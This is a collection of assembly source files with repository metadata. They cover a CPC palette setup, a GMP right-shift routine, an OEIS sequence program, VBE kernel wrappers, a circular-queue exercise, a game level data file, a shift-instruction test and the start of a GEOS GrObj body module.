7cdab1cb9871cd6248ae41e8e201f280d9bc1031
[ "MIT" ]
null
null
null
libs/CPC_V1_SimplePalette.asm
CurlyPaul/cpc-z80-twisting-tower
7cdab1cb9871cd6248ae41e8e201f280d9bc1031
[ "MIT" ]
null
null
null
;;******************************************************************************************** ;; Originally based an example at http://www.cpcwiki.eu/index.php/Programming An_example_loader ;;******************************************************************************************** ColourPalette: ; hardware colours defb &44 ;; #0 Darkest Blue defb &55 ;; #1 Blue defb &57 ;; #2 Blue defb &5B ;; #3 Brightest Blue defb &4B ;; #4 White defb &5B ;; #5 defb &53 ;; #6 defb &5E ;; #7 defb &58 ;; #8 Darkest Purple defb &5D ;; #9 Purple defb &5F ;; #10 Purple defb &5B ;; #11 Brightest Purple (actually blue looks best here) defb &4B ;; #12 Another white defb &4C ;; #13 defb &54 ;; #14 Black defb &46 ;; #15 Background defb &46 ;; Border Palette_Init: ;; CPC has some quirks here as well, seems to be caused by the ability to flash each colour ;; ;; http://www.cpcwiki.eu/forum/programming/screen-scrolling-and-ink-commands/ ;; https://www.cpcwiki.eu/forum/programming/bios-call-scr_set_ink-and-interrupts/ ld hl,ColourPalette call SetupColours ret Palette_AllBackground: ld b,17 ;; 16 colours + 1 border xor a ;; start with pen 0 ld e,&46 DoColours_AllBlack: push bc ;; need to stash b as we are using it for our loop and need it ;; below to write to the port ld bc,&7F00 out (c),a ;; PENR:&7F{pp} - where pp is the palette/pen number out (c),e ;; INKR:&7F{hc} - where hc is the hardware colour number pop bc inc a ;; increment pen number djnz DoColours_AllBlack ret SetupColours: ;; Inputs: HL Address the palette values are stored ld b,17 ;; 16 colours + 1 border xor a ;; start with pen 0 DoColours: push bc ;; need to stash b as we are using it for our loop and need it ;; below to write to the port ld e,(hl) ;; read the value of the colour we want into e inc hl ;; move along ready for next time ld bc,&7F00 out (c),a ;; PENR:&7F{pp} - where pp is the palette/pen number out (c),e ;; INKR:&7F{hc} - where hc is the hardware colour number pop bc inc a ;; increment pen number djnz DoColours ret
31.343284
95
0.612381
d56b89667265003b623e5bb7d09e0ef99e221d8b
2,382
asm
Assembly
externals/mpir-3.0.0/mpn/x86/rshift.asm
JaminChan/eos_win
c03e57151cfe152d0d3120abb13226f4df74f37e
[ "MIT" ]
1
2018-08-14T03:52:21.000Z
2018-08-14T03:52:21.000Z
externals/mpir-3.0.0/mpn/x86/rshift.asm
JaminChan/eos_win
c03e57151cfe152d0d3120abb13226f4df74f37e
[ "MIT" ]
null
null
null
externals/mpir-3.0.0/mpn/x86/rshift.asm
JaminChan/eos_win
c03e57151cfe152d0d3120abb13226f4df74f37e
[ "MIT" ]
null
null
null
dnl x86 mpn_rshift -- mpn right shift. dnl Copyright 1992, 1994, 1996, 1999, 2000, 2001, 2002 Free Software dnl Foundation, Inc. dnl dnl This file is part of the GNU MP Library. dnl dnl The GNU MP Library is free software; you can redistribute it and/or dnl modify it under the terms of the GNU Lesser General Public License as dnl published by the Free Software Foundation; either version 2.1 of the dnl License, or (at your option) any later version. dnl dnl The GNU MP Library is distributed in the hope that it will be useful, dnl but WITHOUT ANY WARRANTY; without even the implied warranty of dnl MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU dnl Lesser General Public License for more details. dnl dnl You should have received a copy of the GNU Lesser General Public dnl License along with the GNU MP Library; see the file COPYING.LIB. If dnl not, write to the Free Software Foundation, Inc., 51 Franklin Street, dnl Fifth Floor, Boston, MA 02110-1301, USA. include(`../config.m4') C cycles/limb C P54: 7.5 C P55: 7.0 C P6: 2.5 C K6: 4.5 C K7: 5.0 C P4: 16.5 C mp_limb_t mpn_rshift (mp_ptr dst, mp_srcptr src, mp_size_t size, C unsigned shift); defframe(PARAM_SHIFT,16) defframe(PARAM_SIZE, 12) defframe(PARAM_SRC, 8) defframe(PARAM_DST, 4) TEXT ALIGN(8) PROLOGUE(mpn_rshift) pushl %edi pushl %esi pushl %ebx deflit(`FRAME',12) movl PARAM_DST,%edi movl PARAM_SRC,%esi movl PARAM_SIZE,%edx movl PARAM_SHIFT,%ecx leal -4(%edi,%edx,4),%edi leal (%esi,%edx,4),%esi negl %edx movl (%esi,%edx,4),%ebx C read least significant limb xorl %eax,%eax shrdl( %cl, %ebx, %eax) C compute carry limb incl %edx jz L(end) pushl %eax C push carry limb onto stack testb $1,%dl jnz L(1) C enter loop in the middle movl %ebx,%eax ALIGN(8) L(oop): movl (%esi,%edx,4),%ebx C load next higher limb shrdl( %cl, %ebx, %eax) C compute result limb movl %eax,(%edi,%edx,4) C store it incl %edx L(1): movl (%esi,%edx,4),%eax shrdl( %cl, %eax, %ebx) movl %ebx,(%edi,%edx,4) incl %edx jnz L(oop) shrl %cl,%eax C compute most significant limb movl %eax,(%edi) C store it popl %eax C pop carry limb popl %ebx popl %esi popl %edi ret L(end): shrl %cl,%ebx C compute most significant limb movl %ebx,(%edi) C store it popl %ebx popl %esi popl %edi ret EPILOGUE()
23.584158
74
0.696893
5d35de6518e039a8d40fc9a4cd8602180c8892f2
1,585
asm
Assembly
programs/oeis/273/A273368.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/273/A273368.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/273/A273368.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A273368: Numbers k such that 10*k+9 is a perfect square. ; 0,4,16,28,52,72,108,136,184,220,280,324,396,448,532,592,688,756,864,940,1060,1144,1276,1368,1512,1612,1768,1876,2044,2160,2340,2464,2656,2788,2992,3132,3348,3496,3724,3880,4120,4284,4536,4708,4972,5152,5428,5616,5904,6100,6400,6604,6916,7128,7452,7672,8008,8236,8584,8820,9180,9424,9796,10048,10432,10692,11088,11356,11764,12040,12460,12744,13176,13468,13912,14212,14668,14976,15444,15760,16240,16564,17056,17388,17892,18232,18748,19096,19624,19980,20520,20884,21436,21808,22372,22752,23328,23716,24304,24700,25300,25704,26316,26728,27352,27772,28408,28836,29484,29920,30580,31024,31696,32148,32832,33292,33988,34456,35164,35640,36360,36844,37576,38068,38812,39312,40068,40576,41344,41860,42640,43164,43956,44488,45292,45832,46648,47196,48024,48580,49420,49984,50836,51408,52272,52852,53728,54316,55204,55800,56700,57304,58216,58828,59752,60372,61308,61936,62884,63520,64480,65124,66096,66748,67732,68392,69388,70056,71064,71740,72760,73444,74476,75168,76212,76912,77968,78676,79744,80460,81540,82264,83356,84088,85192,85932,87048,87796,88924,89680,90820,91584,92736,93508,94672,95452,96628,97416,98604,99400,100600,101404,102616,103428,104652,105472,106708,107536,108784,109620,110880,111724,112996,113848,115132,115992,117288,118156,119464,120340,121660,122544,123876,124768,126112,127012,128368,129276,130644,131560,132940,133864,135256,136188,137592,138532,139948,140896,142324,143280,144720,145684,147136,148108,149572,150552,152028,153016,154504,155500 mul $0,5 div $0,2 add $0,2 bin $0,2 mov $1,$0 div $1,5 mul $1,4
144.090909
1,460
0.811987
94fb6b080d17de7367a48cef9e9e1b0959bc5800
2,731
asm
Assembly
source/kernel/io/graphics.asm
kaiserschmarrn0/takao
3fe5340d6dd1681a94297bab7f1018f3b697dea1
[ "Zlib" ]
null
null
null
source/kernel/io/graphics.asm
kaiserschmarrn0/takao
3fe5340d6dd1681a94297bab7f1018f3b697dea1
[ "Zlib" ]
null
null
null
source/kernel/io/graphics.asm
kaiserschmarrn0/takao
3fe5340d6dd1681a94297bab7f1018f3b697dea1
[ "Zlib" ]
null
null
null
[bits 64] extern realRoutine global getVBEInfo global getEDIDInfo global getVBEModeInfo global setVBEMode global dumpVGAFont %define kernelPhysicalOffset 0xFFFFFFFFC0000000 section .data %define getVBEInfo_size getVBEInfo_end - getVBEInfo_bin getVBEInfo_bin: incbin "source/kernel/real/getvbeinfo.bin" getVBEInfo_end: %define getEDIDInfo_size getEDIDInfo_end - getEDIDInfo_bin getEDIDInfo_bin: incbin "source/kernel/real/edidinfo.bin" getEDIDInfo_end: %define getVBEModeInfo_size getVBEModeInfo_end - getVBEModeInfo_bin getVBEModeInfo_bin: incbin "source/kernel/real/vbemodeinfo.bin" getVBEModeInfo_end: %define setVBEMode_size setVBEMode_end - setVBEMode_bin setVBEMode_bin: incbin "source/kernel/real/setvbemode.bin" setVBEMode_end: %define dumpVGAFont_size dumpVGAFont_end - dumpVGAFont_bin dumpVGAFont_bin: incbin "source/kernel/real/vgafont.bin" dumpVGAFont_end: section .text getVBEInfo: ; void getVBEInfo(vbe_info_struct_t* vbe_info_struct); push rbx push rbp push r12 push r13 push r14 push r15 mov rbx, rdi sub rbx, kernelPhysicalOffset mov rsi, getVBEInfo_bin mov rcx, getVBEInfo_size call realRoutine pop r15 pop r14 pop r13 pop r12 pop rbp pop rbx ret getEDIDInfo: ; void getEDIDInfo(edid_info_struct_t* edid_info_struct); push rbx push rbp push r12 push r13 push r14 push r15 mov rbx, rdi sub rbx, kernelPhysicalOffset mov rsi, getEDIDInfo_bin mov rcx, getEDIDInfo_size call realRoutine pop r15 pop r14 pop r13 pop r12 pop rbp pop rbx ret getVBEModeInfo: ; void getVBEModeInfo(get_vbe_t* get_vbe); push rbx push rbp push r12 push r13 push r14 push r15 mov rbx, rdi sub rbx, kernelPhysicalOffset mov rsi, getVBEModeInfo_bin mov rcx, getVBEModeInfo_size call realRoutine pop r15 pop r14 pop r13 pop r12 pop rbp pop rbx ret setVBEMode: ; void setVBEMode(uint16_t mode); push rbx push rbp push r12 push r13 push r14 push r15 mov rbx, rdi mov rsi, setVBEMode_bin mov rcx, setVBEMode_size call realRoutine pop r15 pop r14 pop r13 pop r12 pop rbp pop rbx ret dumpVGAFont: ; void dumpVGAFont(uint8_t *bitmap); push rbx push rbp push r12 push r13 push r14 push r15 mov rbx, rdi sub rbx, kernelPhysicalOffset mov rsi, dumpVGAFont_bin mov rcx, dumpVGAFont_size call realRoutine pop r15 pop r14 pop r13 pop r12 pop rbp pop rbx ret
18.206667
74
0.675943
296bfafad9ff8c7a18b0d6faac1d434f8d555762
11,080
asm
Assembly
2.asm
AsadKhalil/Assembly_x86
48aa2a0ab93fd359f5f20369bb9064052c2f2884
[ "MIT" ]
null
null
null
2.asm
AsadKhalil/Assembly_x86
48aa2a0ab93fd359f5f20369bb9064052c2f2884
[ "MIT" ]
null
null
null
2.asm
AsadKhalil/Assembly_x86
48aa2a0ab93fd359f5f20369bb9064052c2f2884
[ "MIT" ]
null
null
null
[org 0x0100] jmp start ;each queue has a size of 32 words = 64 bytes = 512 bits Queue: times 512 dw 0 flag: dw 0 ;each bit of the flag is used to represent the state ;of the corresponding flag ;========================================= ;qcreate function returns the queue number ;if it finds a free queue or -1 if it ;failed. found: push word 1 jmp endqfunc notfound: push word -1 jmp endqfunc qcreate: push bp ;saving the value of bp mov bp, sp ;moving the value of sp into bp for having a reference in stack push ax ;saving thr value of ax push bx ;saving the value of bx push cx ;saving the value of cx mov bx, -64 ;initializing bx with -64 mov ax, 0 ;initializing ax with 0 mov cx, 0 ;initializing cx with 0 loop1: add bx, 64 mov ax, [Queue + bx + 62];rear cmp ax, 30 jnz skipqc mov ax, 1 jmp compare skipqc: inc ax compare: cmp ax, [Queue + bx] jnz found inc cx cmp cx, 15 jz notfound jmp loop1 endqfunc: pop cx pop bx pop ax pop bp ret ;========================================= ;========================================= ;qdestroy marks the queue as free. ;It is assumed that by marking the queue ;free means that queue is reset to empty queue ;and the its corresponding value in flag variable ;is updated. It also takes Queue number as parameter. qdestroy: push bp ;saving the value of bp mov bp, sp ;moving the value of sp into bp for having a reference in stack push ax ;saving thr value of ax push bx ;saving the value of bx push cx ;saving the value of cx push dx ;saving the value of dx ;initializing registers mov ax, 64 mov bx, 0 mov cx, 0 mov dx, 0 ;moving the parameter in bx register mov bx, [bp + 4] mul bx mov bx, ax l1: mov word [Queue + bx], 0 add bx, 2 inc cx cmp cx, 32 jnz l1 ;updating the value of this queue in the flag variable mov ax, [flag] mov bx, [bp + 4] ;moving Queue number in bx mov cx, 1 ;reseting cx register cmp cx, bx l2: rol ax, 1 inc cx cmp cx, bx jb l2 skip1: sub dx, dx ;generating zero in the carry flag rcr ax, 1 mov cx, 1 cmp cx, bx ja skip2 l3: ror ax, 1 inc cx cmp cx, bx jbe l3 skip2: mov word [flag], ax ;ending function pop dx pop cx pop bx pop ax pop bp ret 2 ;========================================= ;========================================= ;This function sets the specified bit of ;flag variable to 0. setzero: push bp mov bp, sp push ax push bx push cx push dx mov ax, [flag] mov bx, [bp + 4] mov cx, 1 ;reseting cx register cmp cx, bx ;ja skip1b l2c: rol ax, 1 inc cx cmp cx, bx jb l2c skip1b: mov dx, 5 sub dx, dx rcr ax, 1 mov cx, 1 cmp cx, bx ja skip2c l3c: ror ax, 1 inc cx cmp cx, bx jbe l3c skip2c: mov word [flag], ax ;ending function pop dx pop cx pop bx pop ax pop bp ret 2 ;========================================= ;This function sets the specified bit of ;flag variable to 1. setbit: push bp mov bp, sp push ax push bx push cx push dx mov ax, [flag] mov bx, [bp + 4] mov cx, 1 ;reseting cx register cmp cx, bx ja skip1a l2b: rol ax, 1 inc cx cmp cx, bx jbe l2b skip1a: mov dl, 5 mov dh, 10 sub dl, dh rcr ax, 1 mov cx, 1 cmp cx, bx ja skip2b l3b: ror ax, 1 inc cx cmp cx, bx jbe l3b skip2b: mov word [flag], ax ;ending function pop dx pop cx pop bx pop ax pop bp ret 2 ;========================================= ;This function returns 1 if insertion is ;possible other wise -1. checkinpos: push bp mov bp, sp push ax mov ax, 0 mov ax, [bp + 4] ;moving rear cmp ax, 30 jz skipc inc ax jmp rempart skipc: mov ax, 1 rempart: cmp ax, [bp + 6] ;comparing it with front jz notpossible mov word [bp + 8], 1 jmp endc notpossible: mov word [bp + 8], -1 endc: pop ax pop bp ret 4 ;========================================= ;========================================= ;This function checks if qremove is possible checkrempos: push bp mov bp, sp push ax mov ax, 0 mov ax, [bp + 6] ;moving front cmp ax, 30 jz skipd inc ax jmp rempart2 skipd: mov ax, 1 rempart2: cmp ax, [bp + 4] ja notpossible2 mov word [bp + 8], 1 jmp endd notpossible2: mov word [bp + 8], -1 endd: pop ax pop bp ret 4 ;========================================= ;========================================= ;This function is used to remove items from ;the circular queue. qremove: push bp ;saving the value of bp mov bp, sp ;moving the value of sp into bp for having a reference in stack push ax ;saving thr value of ax push bx ;saving the value of bx push cx ;saving the value of cx push dx ;saving the value of dx push si ;saving the value of si ;initializing registers mov ax, 64 mov bx, 0 mov cx, 0 mov dx, 0 mov si, 0 ;moving queue number in bx register mov bx, [bp + 4] mul bx mov bx, ax checkqr: sub sp, 2 mov ax, [Queue + bx] ;Queue front push ax mov cx, ax mov ax, [Queue + bx + 62] ;Queue rear push ax call checkrempos pop dx cmp dx, 1 jnz notapplicable2 jmp applicable2 notapplicable2: mov word [bp + 6], 0 jmp endrem applicable2: mov word [bp + 6], 1 mov ax, [Queue + bx] mov si, 2 mul si mov si, ax mov word [Queue + bx + si], 0 mov word ax, [Queue + bx] cmp ax, 30 jnz skipq mov ax, 1 jmp placefront skipq: inc ax placefront: mov [Queue + bx], ax checkifreset: cmp cx, [Queue + bx + 62] jnz endrem mov word[Queue + bx], 0 mov word[Queue + bx + 62], 0 push word [bp + 4] call setzero endrem: pop si pop dx pop cx pop bx pop ax pop bp ret 2 ;========================================= ;========================================= ;This function is used to add items in the ;circular queue. A real circular queue is ;dynamic but according to this question ;the circular queue is static. qadd: push bp ;saving the value of bp mov bp, sp ;moving the value of sp into bp for having a reference in stack push ax ;saving thr value of ax push bx ;saving the value of bx push cx ;saving the value of cx push dx ;saving the value of dx push si ;saving the value of si ;initializing registers mov ax, 64 mov bx, 0 mov cx, 0 mov dx, 0 mov si, 0 ;moving queue number in bx register mov bx, [bp + 4] mul bx mov bx, ax check1: sub sp, 2 mov ax, [Queue + bx] push ax mov ax, [Queue + bx + 62] push ax call checkinpos pop dx cmp dx, 1 jz applicable notapplicable: mov word [bp + 8], 0 jmp endaddfunc skipb: mov ax, 1 jmp skipad applicable: cmp word [Queue + bx + 62], 1 jnz skip4d cmp word [Queue + bx], 1 jnz skip4d push word [bp + 4] call setbit skip4d: mov ax, [Queue + bx + 62] cmp ax, 30 jz skipb inc ax skipad: mov word [Queue + bx + 62], ax mov si, 2 mul si mov si, ax mov ax, [bp + 6] ;moving data parameter in ax mov word [Queue + bx + si], ax mov word [bp + 8], 1 mov ax, [Queue + bx] cmp ax, 0 jnz endaddfunc inc ax mov [Queue + bx], ax endaddfunc: pop si pop dx pop cx pop bx pop ax pop bp ret 4 ;========================================= start: sub sp, 2 call qcreate pop dx mov ax, 2 push ax call qdestroy sub sp, 2 mov ax, 0xA ;item to add push ax mov ax, 0 ;queue number push ax call qadd mov ax, 0xB ;item to add push ax mov ax, 0 ;queue number push ax call qadd mov ax, 0xC ;item to add push ax mov ax, 0 ;queue number push ax call qadd mov ax, 0xD ;item to add push ax mov ax, 0 ;queue number push ax call qadd mov ax, 0xE ;item to add push ax mov ax, 0 ;queue number push ax call qadd mov ax, 0xF ;item to add push ax mov ax, 0 ;queue number push ax call qadd sub sp, 2 call qcreate pop dx mov ax, 0xAA ;item to add push ax mov ax, 0 ;queue number push ax call qadd mov ax, 0xAB ;item to add push ax mov ax, 0 ;queue number push ax call qadd mov ax, 0xAC ;item to add push ax mov ax, 0 ;queue number push ax call qadd mov ax, 0xAD ;item to add push ax mov ax, 0 ;queue number push ax call qadd mov ax, 0xAE ;item to add push ax mov ax, 0 ;queue number push ax call qadd mov ax, 0xAF ;item to add push ax mov ax, 0 ;queue number push ax call qadd mov ax, 0xBA ;item to add push ax mov ax, 0 ;queue number push ax call qadd mov ax, 0xBB ;item to add push ax mov ax, 0 ;queue number push ax call qadd mov ax, 0xBC ;item to add push ax mov ax, 0 ;queue number push ax call qadd mov ax, 0xBD ;item to add push ax mov ax, 0 ;queue number push ax call qadd mov ax, 0xBE ;item to add push ax mov ax, 0 ;queue number push ax call qadd mov ax, 0xBF ;item to add push ax mov ax, 0 ;queue number push ax call qadd mov ax, 0xCA ;item to add push ax mov ax, 0 ;queue number push ax call qadd mov ax, 0xCB ;item to add push ax mov ax, 0 ;queue number push ax call qadd mov ax, 0xCC ;item to add push ax mov ax, 0 ;queue number push ax call qadd mov ax, 0xCD ;item to add push ax mov ax, 0 ;queue number push ax call qadd mov ax, 0xCE ;item to add push ax mov ax, 0 ;queue number push ax call qadd mov ax, 0xCF ;item to add push ax mov ax, 0 ;queue number push ax call qadd mov ax, 0xDA ;item to add push ax mov ax, 0 ;queue number push ax call qadd mov ax, 0xDB ;item to add push ax mov ax, 0 ;queue number push ax call qadd mov ax, 0xDC ;item to add push ax mov ax, 0 ;queue number push ax call qadd mov ax, 0xDD ;item to add push ax mov ax, 0 ;queue number push ax call qadd mov ax, 0xDE ;item to add push ax mov ax, 0 ;queue number push ax call qadd mov ax, 0xDF ;item to add push ax mov ax, 0 ;queue number push ax call qadd mov ax, 0xEA ;item to add push ax mov ax, 0 ;queue number push ax sub sp, 2 call qcreate pop dx call qadd push word 0 call qremove push word 0 call qremove push word 0 call qremove mov ax, 0x11 ;item to add push ax mov ax, 0 ;queue number push ax call qadd mov ax, 0x33 ;item to add push ax mov ax, 0 ;queue number push ax call qadd finish: mov ax, 0x04c00 int 21h
13.628536
76
0.562906
69d36a1dae94ecf3a85eabcd48d8313c31353e83
1,272
asm
Assembly
programs/oeis/256/A256871.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/256/A256871.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/256/A256871.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A256871: a(n) = 2^(n-1)*(2^n+11). ; 6,13,30,76,216,688,2400,8896,34176,133888,529920,2108416,8411136,33599488,134307840,537051136,2147844096,8590655488,34361180160,137441837056,549761581056,2199034789888,8796116090880,35184418226176,140737580630016,562950137970688,2251800182784000,9007199992938496,36028798495358976,144115191028645888,576460758209003520,2305843021024854016,9223372060477095936,36893488194663743488,147573952684165693440,590295810547684212736,2361183241812779728896,9444732966495204671488,37778931864468990197760,151115727454852303814656,604462909813361901305856,2417851639241352977317888,9671406556941222653460480,38685626227716512102219776,154742504910769291385634816,618970019642883651496050688,2475880078571147577891225600,9903520314283816255378948096,39614081257133716909143883776,158456325028531771411831717888,633825300114120893197839237120,2535301200456471187892381679616,10141204801825859981771576180736,40564819207303390387490403647488,162259276829213462470769812439040,649037107316853651724695645454336,2596148429267414210582015373213696,10384593717069656049694527075647488,41538374868278622613511039468175360,166153499473114487283510020203872256,664613997892457942792971805477830656 mov $1,2 pow $1,$0 add $1,6 bin $1,2 sub $1,15 mov $0,$1
127.2
1,177
0.913522
f407d94ae3f53623958bedc7490d9fe4719a221b
527
asm
Assembly
PRG/levels/Hills/W5HBA.asm
narfman0/smb3_pp1
38a58adafff67a403591e38875e9fae943a5fe76
[ "Unlicense" ]
null
null
null
PRG/levels/Hills/W5HBA.asm
narfman0/smb3_pp1
38a58adafff67a403591e38875e9fae943a5fe76
[ "Unlicense" ]
null
null
null
PRG/levels/Hills/W5HBA.asm
narfman0/smb3_pp1
38a58adafff67a403591e38875e9fae943a5fe76
[ "Unlicense" ]
null
null
null
; Original address was $ACB5 ; World 5 Hammer Bro ground battle A .word $0000 ; Alternate level layout .word $0000 ; Alternate object layout .byte LEVEL1_SIZE_01 | LEVEL1_YSTART_170 .byte LEVEL2_BGPAL_00 | LEVEL2_OBJPAL_08 | LEVEL2_XSTART_18 | LEVEL2_UNUSEDFLAG .byte LEVEL3_TILESET_00 | LEVEL3_VSCROLL_LOCKED .byte LEVEL4_BGBANK_INDEX(19) | LEVEL4_INITACT_NOTHING .byte LEVEL5_BGM_BATTLE | LEVEL5_TIME_200 .byte $40, $00, $0E, $53, $00, $0C, $57, $0C, $0B, $32, $07, $16, $36, $07, $16, $9A .byte $00, $80, $0F, $FF
40.538462
85
0.726755
fbe07604ef5299ddd13b9220eaa963ba3d0046a9
873
asm
Assembly
sw/552tests/rand_simple/t_2_srli.asm
JPShen-UWM/ThreadKraken
849c510531f28e36d3469535737b2120bd774935
[ "MIT" ]
1
2022-02-15T16:03:25.000Z
2022-02-15T16:03:25.000Z
sw/552tests/rand_simple/t_2_srli.asm
JPShen-UWM/ThreadKraken
849c510531f28e36d3469535737b2120bd774935
[ "MIT" ]
null
null
null
sw/552tests/rand_simple/t_2_srli.asm
JPShen-UWM/ThreadKraken
849c510531f28e36d3469535737b2120bd774935
[ "MIT" ]
null
null
null
// seed 2 lbi r0, 104 // icount 0 slbi r0, 209 // icount 1 lbi r1, 44 // icount 2 slbi r1, 82 // icount 3 lbi r2, 45 // icount 4 slbi r2, 104 // icount 5 lbi r3, 216 // icount 6 slbi r3, 122 // icount 7 lbi r4, 119 // icount 8 slbi r4, 97 // icount 9 lbi r5, 239 // icount 10 slbi r5, 62 // icount 11 lbi r6, 118 // icount 12 slbi r6, 238 // icount 13 lbi r7, 121 // icount 14 slbi r7, 2 // icount 15 srli r2, r5, 8 // icount 16 srli r7, r7, 12 // icount 17 srli r0, r2, 2 // icount 18 srli r3, r1, 4 // icount 19 srli r4, r6, 15 // icount 20 srli r2, r7, 0 // icount 21 srli r7, r5, 13 // icount 22 srli r0, r7, 4 // icount 23 srli r1, r6, 3 // icount 24 srli r5, r2, 10 // icount 25 srli r7, r0, 14 // icount 26 srli r6, r7, 15 // icount 27 srli r3, r6, 1 // icount 28 srli r3, r0, 8 // icount 29 srli r3, r5, 7 // icount 30 srli r2, r4, 9 // icount 31 halt // icount 32
24.942857
28
0.620848
e5399c49952ad461d6f69268d3ccb326e2eb39b3
130,067
asm
Assembly
Library/GrObj/Body/body.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
504
2018-11-18T03:35:53.000Z
2022-03-29T01:02:51.000Z
Library/GrObj/Body/body.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
96
2018-11-19T21:06:50.000Z
2022-03-06T10:26:48.000Z
Library/GrObj/Body/body.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
73
2018-11-19T20:46:53.000Z
2022-03-29T00:59:26.000Z
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) GeoWorks 1989 -- All Rights Reserved PROJECT: PC GEOS MODULE: FILE: body.asm AUTHOR: Steve Scholl, Nov 15, 1989 ROUTINES: Name Description ---- ----------- GrObjBodySetBoundsLow GrObjBodyAlloc GrObjBodyAllocGrObjBlock GrObjBodySetGrObjDrawFlags MSG_HANDLERS Name ---- GrObjBodyInitialize GrObjBodyVupCreateGState GrObjBodyAddGrObj GrObjBodyRemoveGrObj GrObjBodyAddGrObjLow GrObjBodyRemoveGrObjLow GrObjBodyChangeGrObjDepth GrObjBodyAttachHead GrObjBodyAttachGOAM GrObjBodyDetachGOAM GrObjBodyAttachRuler GrObjBodyStrayMouseEvents GrObjBodyVupAlterInputFlow GrObjBodyVisLayerSetDocBounds GrObjBodyGetDocBounds GrObjBodyGetBlockForOneGrObj GrObjBodyGrab GrObjBodyViewScaleFactorChanged GrObjBodyGetWindow GrObjBodyAddGrObjThenDraw GrObjBodySetBounds GrObjBodyAttachUI GrObjBodyDetachUI GrObjBodySetActionNotificationOutput GrObjBodySuspend GrObjBodyUnsuspend GrObjBodyAlterFTVMCExcl GrObjBodyGetTarget GrObjBodyGetFocus GrObjBodyGrabTargetFocus REVISION HISTORY: Name Date Description ---- ---- ----------- Steve 11/15/89 Initial revision DESCRIPTION: This file contains routines to implement the GrObjBody class. $Id: body.asm,v 1.1 97/04/04 18:08:08 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrObjInitCode segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrObjBodyInitialize %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Primitive initialization of body to match defaults in grobj.uih PASS: *(ds:si) - instance data of object ds:[bx] - instance data of object ds:[di] - master part of object (if any) es - segment of GrObjBodyClass RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: none KNOWN BUGS/SIDE EFFECTS/IDEAS: This method should be optimized for SMALL SIZE over SPEED Common cases: none REVISION HISTORY: Name Date Description ---- ---- ----------- srs 1/29/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrObjBodyInitialize method dynamic GrObjBodyClass, MSG_META_INITIALIZE .enter mov di,offset GrObjBodyClass call ObjCallSuperNoLock mov di,ds:[si] add di,ds:[di].Vis_offset ; We'll need to mark ourselves as VTF_IS_INPUT_NODE in order to ; get MSG_META_MUP_ALTER_FTVMC_EXCL. -- Doug 2/9/93 ; ornf ds:[di].VI_typeFlags, mask VTF_IS_INPUT_NODE ; Clear all the geometry bits that will make my life ; miserable ; andnf ds:[di].VI_optFlags, not (mask VOF_GEO_UPDATE_PATH or \ mask VOF_GEOMETRY_INVALID or \ mask VOF_IMAGE_INVALID or \ mask VOF_IMAGE_UPDATE_PATH ) andnf ds:[di].VI_attrs, not mask VA_MANAGED ornf ds:[di].VI_attrs, mask VA_FULLY_ENABLED mov di,ds:[si] add di,ds:[di].GrObjBody_offset mov ds:[di].GBI_desiredHandleSize,DEFAULT_DESIRED_HANDLE_SIZE ornf ds:[di].GBI_flags, mask GBF_DEFAULT_TARGET or \ mask GBF_DEFAULT_FOCUS ornf ds:[di].GBI_drawFlags, mask GODF_DRAW_INSTRUCTIONS ; ; We want to set the interesting point to some outrageous value ; so that the first paste will end up the middle of the screen, ; rather than in the upper left corner ; mov ax, -30000 segmov es, ds add di, offset GBI_interestingPoint mov cx, size PointDWFixed/2 rep stosw .leave ret GrObjBodyInitialize endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrObjBodyAttachHead %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Set the od of the head in the body PASS: *(ds:si) - instance data of object ds:[bx] - instance data of object ds:[di] - master part of object (if any) es - segment of GrObjBody cx:dx - optr of head RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: none KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- srs 7/17/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrObjBodyAttachHead method dynamic GrObjBodyClass, MSG_GB_ATTACH_HEAD .enter mov ds:[di].GBI_head.handle,cx mov 